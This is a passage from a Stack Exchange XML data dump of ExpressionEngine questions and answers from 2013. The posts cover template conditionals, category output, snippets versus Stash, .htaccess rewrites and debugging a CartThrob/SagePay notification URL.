file.&lt;/p&gt;&#xA;" OwnerUserId="2395" LastActivityDate="2013-11-22T06:53:50.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17022" PostTypeId="2" ParentId="17020" CreationDate="2013-11-22T07:49:11.087" Score="1" Body="&lt;p&gt;I did something which sounds fairly similar on an ExpressionEngine 1.x site a few years ago. The route that worked the best was to have the member as the author of that entry and then use the author_id parameter to only grab content authored by that entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scope of that project was to display member created content (profile, examples of their work, etc) and so it might not apply in your case.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-11-22T07:49:11.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17023" PostTypeId="2" ParentId="17019" CreationDate="2013-11-22T07:57:13.117" Score="2" Body="&lt;p&gt;To answer the first two questions, you'll want to use something like &lt;a href=&quot;http://devot-ee.com/add-ons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Seg2Cat&lt;/a&gt; to get the category id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for &lt;a href=&quot;http://example.com/planet/earth/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/planet/earth/&lt;/a&gt;, something like this will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;content&quot; category=&quot;{segment_1_category_id}&quot; url_title=&quot;{segment_2}&quot;}&#xA;   {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might want to wrap it in an {if segment_3 == &quot;&quot;}{/if} conditional, that way it will only run when you want to show an individual entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more about {exp:channel:entries} and categories and pulling content by author in the EE &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#category&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2013-11-22T08:04:20.937" LastActivityDate="2013-11-22T08:04:20.937" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17024" PostTypeId="2" ParentId="17016" CreationDate="2013-11-22T08:02:58.353" Score="6" Body="&lt;p&gt;Conditionals based on URL Segments is how I would handle this. For your example, I would have in my books/chapters a conditional like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;summary&quot;}  &#xA;  {embed=&quot;embeds/summary_code&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd use an embed just to keep the template cleaner — instances where I do this do tend to be on more complex site where I like keeping things as clean as possible. It's largely optional and depends on your own coding style. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that embed, I would then have whatever {exp:channel:entries} code (or whatnot) to output the content I need. &lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-11-22T08:02:58.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17025" PostTypeId="2" ParentId="17013" CreationDate="2013-11-22T08:14:36.317" Score="1" Body="&lt;p&gt;If there aren't going to be any instances where a chapter will be connected to a multiple books (and if their are, it's an important data point), I would go with a single book channel where the entry title is the title of the book.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would then have a two-column (minimum) Grid. The first column would be the title of the chapter, the second would then be a link to the file with that chapter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there will be only a few instances where one chapter / chapter file might be associated with a different book, consider just manually adding the same chapter row in each entry rather than going the whole relationship route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, short answer is, you're on the right track but if there will be multiple books containing the same chapters (more than you want to manually update each and every entry in case you need to revise something) then relationships are probably the way to go.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-11-22T08:14:36.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17027" PostTypeId="2" ParentId="17009" CreationDate="2013-11-22T08:24:26.537" Score="3" Body="&lt;p&gt;If you're reason for not wanting to use categories is because they're already used, you can have multiple category group in a channel group. So, Category Group 1 could be whatever is being used now and then Category Group 2 could be used to associate it with some other channel. I'm doing something similar on a recent project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shift-clicking, I believe, is the keyboard combo to select mulitple category groups in the Channel &gt; Category Group list.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-11-22T08:24:26.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17028" PostTypeId="2" ParentId="17020" CreationDate="2013-11-22T09:51:11.627" Score="1" Body="&lt;p&gt;If you don't want to limit by author_id (because that isn't the same as screen_name), I would try a solution that uses the search parameter: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have the template URL something like this: &lt;a href=&quot;http://example.com/group/template/screen_name&quot; rel=&quot;nofollow&quot;&gt;http://example.com/group/template/screen_name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then in the channel entries tag add the parameter like this: &lt;code&gt;search:title=&quot;{segment_3}&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would make a new channel field for your entries that records screen_name and make the titles unique. &lt;/p&gt;&#xA;" OwnerUserId="1217" LastActivityDate="2013-11-22T09:51:11.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17029" PostTypeId="2" ParentId="17012" CreationDate="2013-11-22T10:02:12.280" Score="5" Body="&lt;p&gt;Can you get the templates to render if you leave index.php in your URL? &#xA;eg &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;localhost:8040/index.php/cursos&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If so then it is your .htaccess. Max is right about the order of your .htaccess file. Also, you could try adding a '?' in your RewriteRule directly after index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eg RewriteRule ^(.*)$ /index.php?/$1 [L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A fairly reliable method of removing your index file is in the EE docs here - have you tried it?&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html#exceptions&quot; rel=&quot;noreferrer&quot;&gt;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html#exceptions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-11-22T10:02:12.280" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17030" PostTypeId="2" ParentId="17019" CreationDate="2013-11-22T10:05:13.573" Score="-1" Body="&lt;p&gt;I see you want specific URLs but here's something close.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for the first add &lt;a href=&quot;http://www.site.com/CATEGORY-URL-TITLE/cat_archive/&quot; rel=&quot;nofollow&quot;&gt;http://www.site.com/CATEGORY-URL-TITLE/cat_archive/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for the third add &lt;a href=&quot;http://www.site.com/CATEGORY-URL-TITLE/author_archive/&quot; rel=&quot;nofollow&quot;&gt;http://www.site.com/CATEGORY-URL-TITLE/author_archive/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;cat_archive&quot;}&#xA;{exp:channel:entries channel=&quot;...&quot; category=&quot;{segment_1}&quot;}&#xA;&#xA;category results ...&#xA;&#xA;{/exp:channel:entries}&#xA;{if:elseif segment_2 == &quot;author_archive&quot;}&#xA;{exp:channel:entries channel=&quot;...&quot; author_id=&quot;{segment_1}&quot;}&#xA;&#xA;author results ...&#xA;&#xA;{/exp:channel:entries}&#xA;{if:else}&#xA;{exp:channel:entries channel=&quot;...&quot; url_title=&quot;{segment_2}&quot;}&#xA;&#xA;specific entry ...&#xA;&#xA;{/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other than that you might have to use some &lt;code&gt;embeds&lt;/code&gt; and &lt;code&gt;no_results&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you could do something like this where the embeds get your the results you want. It you have an author with the same id as a category name, the author template would come up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2}&#xA;  {exp:channel:entries channel=&quot;...&quot; url_title=&quot;{segment_2}&quot;}&#xA;    code for single article.&#xA;  {/exp:channel:entries} &#xA;&#xA;{if:else} &#xA;  {exp:channel:entries channel=&quot;...&quot; author_id=&quot;{segment_1}&quot; limit=&quot;1&quot;}    &#xA;    {embed=&quot;group/author_results&quot; author=&quot;{segment_1}&quot;}&#xA;&#xA;    {if no_results}&#xA;      {embed=&quot;group/category_results&quot; cat=&quot;{segment_1}&quot; limit=&quot;1&quot;}&#xA;    {/if}&#xA;  {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1217" LastEditorUserId="1217" LastEditDate="2013-11-23T18:00:34.640" LastActivityDate="2013-11-23T18:00:34.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17031" PostTypeId="1" CreationDate="2013-11-22T10:19:29.230" Score="1" ViewCount="254" Body="&lt;p&gt;I'm having terrible trouble getting an updated EE2.7.2 / CartThrob 2.4 MSM site to integrate with Sagepay (Europe Offsite). Every time I try to go out to sagepay from the checkout page, I'm returned to my order_complete template with an error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3011 : The NotificationURL format is incorrect&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; I've configured extload.php correctly (when I request it in the browser, I don't get any errors, and I've set the system path absolutely). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really need to see what notification url is being generated (if any) so that I can debug from there, but I don't know if the payment gateway plugin is invoking even extload.php or not. The payment notification function references it (&lt;code&gt;function extload($post)&lt;/code&gt;), so I was working on the assumption that it was using it, but I don't know how to confirm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using LiveHTTPHeaders to watch what goes out, but it's not very helpful. I can't see any mention of notificationurl.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is in the title - how can I tell if extload is being invoked or not (is it simply that I'm getting an error from sage and so it must be?) and if it is being invoked, why is my notificationURL malformed/incorrect? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my cartthrob form I have return=&quot;customer/checkout/order_complete&quot; - which is where I'm taken to straight after submitting my checkout form. This is where the error is displayed - so I must be sending something out to sage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT! One MSM site (site_id 1) is going through to sage&lt;/strong&gt; &#xA;The primary site goes through to the sage server, the second site gives the error. They both use the same payment gateway plugin, the checkout and extload.php code is identical for both (aside from the msm settings in each extload.php, which is all good). Even the POST data that goes out is the same (as far as I can see - it's all structured in the same way and all of the fields are present). So now I'm really wondering what it can be! It's got to be something simple that I've missed, but everything looks right...&lt;/p&gt;&#xA;" OwnerUserId="871" LastEditorUserId="871" LastEditDate="2013-11-22T13:06:02.150" LastActivityDate="2013-11-22T15:16:12.507" Title="How can I tell if Cartthrob's extload.php is being invoked (and what it outputs)?" Tags="|cartthrob|sagepay|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17032" PostTypeId="1" AcceptedAnswerId="17034" CreationDate="2013-11-22T10:22:25.280" Score="1" ViewCount="89" Body="&lt;p&gt;With multiple blog listing templates: index, category, tag, archive, search-results etc - the markup for those listings never really changes between templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if we need to add something to the li for example, we need to change each template. It would be much more efficient if that li was stored once and reusable throughout our blog templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that something Stash could do and more importantly would it work where we're using Low Search.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-11-22T13:39:23.047" Title="a case for Stash or another approach?" Tags="|templates|stash|low-search|dry|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17033" PostTypeId="2" ParentId="17017" CreationDate="2013-11-22T10:38:35.890" Score="4" Body="&lt;p&gt;The way you're doing it now -- getting the entry IDs from the search and passing them to the &lt;code&gt;low_alphabet:entries&lt;/code&gt; tag -- would be the way to do it. There isn't some secret way to seamlessly integrate the two at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise that Low Search could do with a single &lt;code&gt;:entry_ids&lt;/code&gt; tag to make this easier, but sadly that's not possible at the moment due to the way it combines native and its own filters, and the lack of a proper channel entries API for generating entries. &lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-11-22T10:38:35.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17034" PostTypeId="2" ParentId="17032" CreationDate="2013-11-22T10:50:02.263" Score="4" Body="&lt;p&gt;Couldn't you just use a Snippet for this? It would contain the markup and code used inside a tag, which you could re-use with multiple tags. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results ... }&#xA;   {sn_entry_list}&#xA;{/exp:low_search:results}&#xA;&#xA;{exp:channel:entries ... }&#xA;   {sn_entry_list}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An so on.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-11-22T10:50:02.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17035" PostTypeId="2" ParentId="17031" CreationDate="2013-11-22T11:23:03.213" Score="0" Body="&lt;p&gt;I know that using another payment gateway (Realex) you have to tell them the URL to return to after a transaction - this is the full url of the Extload script which will be something like &lt;a href=&quot;http://yourdomain.com/themes/third_party/cartthrob/lib/extload.php/realex_redirect&quot; rel=&quot;nofollow&quot;&gt;http://yourdomain.com/themes/third_party/cartthrob/lib/extload.php/realex_redirect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tells the gateway where to post its response so your system can update orders etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The return urls set in your Cartthrob form handle the redirect for the user after a transaction but don't impact where the gateway response gets sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the error you're showing, my best guess is that SagePay is getting either no response, or not the expected response when it tries to notify your system of the transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find that you would need to set that up within your SagePay account - it's normal for it to be done this way rather than specify it in your post data for security reasons.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-11-22T11:23:03.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17036" PostTypeId="1" AcceptedAnswerId="17052" CreationDate="2013-11-22T11:30:17.947" Score="0" ViewCount="169" Body="&lt;p&gt;I have an ExpressionEngine website built for a client, and the entire content is built inside a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to allow the client to make modifications, but I don't want the source to be visible by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All plugins only work with channel content, not with the Template Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT #1:&lt;/strong&gt; Found this, but it's for EE 1.x, and it needs to be updated for 2.x - &lt;a href=&quot;http://ellislab.com/forums/viewthread/56223/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/56223/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The ideal solution would be injecting a RTE editor to convert the Template Manager textarea into a visual editor.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1952" LastEditorUserId="1952" LastEditDate="2013-11-22T16:45:29.817" LastActivityDate="2013-11-22T17:25:24.173" Title="Can I use a visual editor on Template Manager?" Tags="|rte|editor|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17037" PostTypeId="2" ParentId="17036" CreationDate="2013-11-22T12:29:04.833" Score="3" Body="&lt;p&gt;You could use &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; to manage the template content; that would abstract the maintenance to an interface and leave the template out of the process entirely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question is not very clear though; how is the content getting into the template? Presumably you have channels; can your client not edit the channel entries to update the site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do you want them to edit from the front-end (and so never actually log in to the CP?) In which case you'd probably need to use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;channel_form&lt;/a&gt; tags and build a front-end editing template separately.&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2013-11-22T12:29:04.833" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17038" PostTypeId="2" ParentId="13534" CreationDate="2013-11-22T12:36:29.683" Score="1" Body="&lt;p&gt;ExpressionEngine is not pointing to safecracker, an add-on is. I hope you were upgrading on a development/testing environment. It's one of those cases where you have to wait for all your required add-ons to be compatible with the new version of EE before upgrading. &lt;/p&gt;&#xA;" OwnerUserId="1217" LastActivityDate="2013-11-22T12:36:29.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17039" PostTypeId="1" AcceptedAnswerId="17044" CreationDate="2013-11-22T13:02:08.157" Score="1" ViewCount="94" Body="&lt;p&gt;I have a page where I'm outputting news entries. And these all are assigned to categories. And based on these, I have a jQuery plugin that sorts the entries visible based on the categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my markup basically looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;news_categories&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a class=&quot;filter&quot; data-filter=&quot;mix-all&quot;&amp;gt;All&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {exp:channel:entries channel=&quot;News&quot; dynamic=&quot;no&quot; show_empty=&quot;no&quot;}&#xA;        {categories}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a class=&quot;filter&quot; data-filter=&quot;{category_name}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/categories}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, this outputs the categories, but I only want unique ones. Right now, this outputs the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All&lt;/li&gt;&#xA;&lt;li&gt;Photo&lt;/li&gt;&#xA;&lt;li&gt;Courses&lt;/li&gt;&#xA;&lt;li&gt;Arrangements&lt;/li&gt;&#xA;&lt;li&gt;Photo&lt;/li&gt;&#xA;&lt;li&gt;School&lt;/li&gt;&#xA;&lt;li&gt;Arrangements&lt;/li&gt;&#xA;&lt;li&gt;School&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You probably get the idea. How can I output only unique categories?&lt;/p&gt;&#xA;" OwnerUserId="2111" LastActivityDate="2013-11-22T14:16:06.920" Title="Output unique categories of entries" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17040" PostTypeId="2" ParentId="16943" CreationDate="2013-11-22T13:03:12.447" Score="0" Body="&lt;p&gt;I found this blogs.vinuthomas.com/2008/06/18/… changed the field from int to unsigned bigint which fixed the problem for them For me, it didn;t seem to work but once I changed it back to INT the error seemed to go away. (Hopefully for good)&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-11-22T13:03:12.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17041" PostTypeId="1" AcceptedAnswerId="17096" CreationDate="2013-11-22T13:07:24.490" Score="1" ViewCount="172" Body="&lt;p&gt;I have found that when using the sample templates that come with the Exp-resso Store and Zoo Visitor add-ons on EE 2.7.2, I get the following PHP error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&lt;p&gt;Severity: Notice&lt;/p&gt;&#xA;&lt;p&gt;Message: Undefined property: EE::$typography&lt;/p&gt;&#xA;&lt;p&gt;Filename: core/EE_Output.php&lt;/p&gt;&#xA;&lt;p&gt;Line Number: 308&lt;/p&gt;&#xA;&lt;p&gt;Fatal error: Call to a member function parse_type() on a non-object in [MYPATH_SYSTEM_PATH]/expressionengine/core/EE_Output.php on line 308&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Commenting out line 308 of &lt;em&gt;that&lt;/em&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$data['content'] = $EE-&amp;gt;typography-&amp;gt;parse_type(stripslashes($data['content']), array('text_format' =&amp;gt; 'xhtml'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then produces a handled error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The model name you are loading is the name of a resource that is already being used: addons_model&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The error is thrown from CodeIgniter's Loader on line 194:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($CI-&amp;gt;$name))&#xA;{&#xA;    show_error('The model name you are loading is the name of a resource that is already being used: '.$name);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Commenting &lt;em&gt;that&lt;/em&gt; line out makes everything run fine.&lt;/p&gt;&#xA;&lt;p&gt;I've searched for uses of addons_model and the only reference I can see to it are either in third party addons (neither of which are enabled and neither of which are Store or Visitor), or EE's core. Obviously I don't want to be hacking at the core of EE or CI but this seems like an EE bug to me.&lt;/p&gt;&#xA;&lt;p&gt;Has anybody else seen this problem or have a resolution?&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-11-25T08:31:45.187" Title="Error with addons_model being loaded" Tags="|expresso-store|zoo-visitor|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17042" PostTypeId="2" ParentId="17032" CreationDate="2013-11-22T13:39:23.047" Score="1" Body="&lt;p&gt;Snippet would work, but personally I prefer a Stash approach since you can keep the list item markup in the same place as the data fetching logic. This is how I'm doing almost exactly the same thing, also using Low Search: &lt;a href=&quot;https://gist.github.com/thisisjamessmith/6892683&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/thisisjamessmith/6892683&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-11-22T13:39:23.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17043" PostTypeId="2" ParentId="16951" CreationDate="2013-11-22T14:05:59.923" Score="2" Body="&lt;p&gt;Take a look in your system folder \expressionengine\third_party\cartthrob\payment_gateways\Cartthrob_sage_s.php file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhere at around line 172 you will see that the $post_array includes the NotificationURL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for this line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'NotificationURL'          =&amp;gt; $this-&amp;gt;response_script(ucfirst(get_class($this))),&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you add a die statement like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;die($post_array['NotificationURL']);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see what the URL is and that should give you an idea of what is going wrong. The Notification URL should be to your extload.php file in your /themes/third_party/cartthrob/lib/ folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that this helps.&#xA;Dorothy&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2013-11-22T14:05:59.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17044" PostTypeId="2" ParentId="17039" CreationDate="2013-11-22T14:16:06.920" Score="4" Body="&lt;p&gt;You should be using the &lt;code&gt;{exp:channel:categories}&lt;/code&gt; tag instead since you're only grabbing the category names. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html&quot; rel=&quot;nofollow&quot;&gt;View the user guide&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;news_categories&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a class=&quot;filter&quot; data-filter=&quot;mix-all&quot;&amp;gt;All&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {exp:channel:categories channel=&quot;News&quot; show_empty=&quot;no&quot; style=&quot;linear&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a class=&quot;filter&quot; data-filter=&quot;{category_name}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-22T14:16:06.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17045" PostTypeId="1" AcceptedAnswerId="17046" CreationDate="2013-11-22T14:42:32.203" Score="4" ViewCount="68" Body="&lt;p&gt;I am trying to do something that seems as if it should be simple but it's baffling me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template page that needs to embed something different depending on the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three possible cases. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Case one is that segment_2 is blank. In this case I need to embed option A. Simple enough I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Case two, segment_2 is not blank and contains the url_title of one of the products in this channel. I know the channel. I need to embed option B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case three, segment_2 is not blank and contains something else that is NOT the url_title of one of my products in this channel. Again I know the channel. I need to embed option A - the same as in the first case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried putting an if inside the exp:channel:entries tag pair, comparing {url_title and {segment_2) - that doesn't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than having anyone try to debug my code, how would anyone advise doing this? I am aware that I could be arranging my site in a different way, but I am where I am!&lt;/p&gt;&#xA;" OwnerUserId="2396" LastEditorUserId="28" LastEditDate="2013-11-23T01:47:09.470" LastActivityDate="2013-11-23T01:47:09.470" Title="Embedding depending on URL" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17046" PostTypeId="2" ParentId="17045" CreationDate="2013-11-22T15:10:10.083" Score="7" Body="&lt;p&gt;Here's a no add-on way of doing this. I'm assuming you're not trying to get pagination going. That would change things.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;&quot;}option A embed or direct code{/if}&#xA;{if segment_2 != &quot;&quot;}&#xA;  {exp:channel:entries channel=&quot;products&quot; url_title=&quot;{segment_2}&quot; require_entry=&quot;yes&quot; ... }&#xA;     option B embed passing all variables necessary - or just put code here directly&#xA;     {if no_results}option C embed{/if}&#xA;  {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-22T15:10:10.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17047" PostTypeId="2" ParentId="17031" CreationDate="2013-11-22T15:16:12.507" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/users/1570/dorothy-dorothy&quot;&gt;Dorothy dorothy&lt;/a&gt; has answered my question in &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/16951/cartthrob-sagepay-offsite-3037-notification-url-error-for-msm-sites&quot;&gt;another post&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Take a look in your system folder&#xA;  \expressionengine\third_party\cartthrob\payment_gateways\Cartthrob_sage_s.php&#xA;  file&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Somewhere at around line 172 you will see that the $post_array&#xA;  includes the NotificationURL.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Look for this line:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;'NotificationURL' =&gt;&#xA;  $this-&gt;response_script(ucfirst(get_class($this))),&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;if you add a die statement like this:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;die($post_array['NotificationURL']);&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can see what the URL is and that should give you an idea of what&#xA;  is going wrong. The Notification URL should be to your extload.php&#xA;  file in your /themes/third_party/cartthrob/lib/ 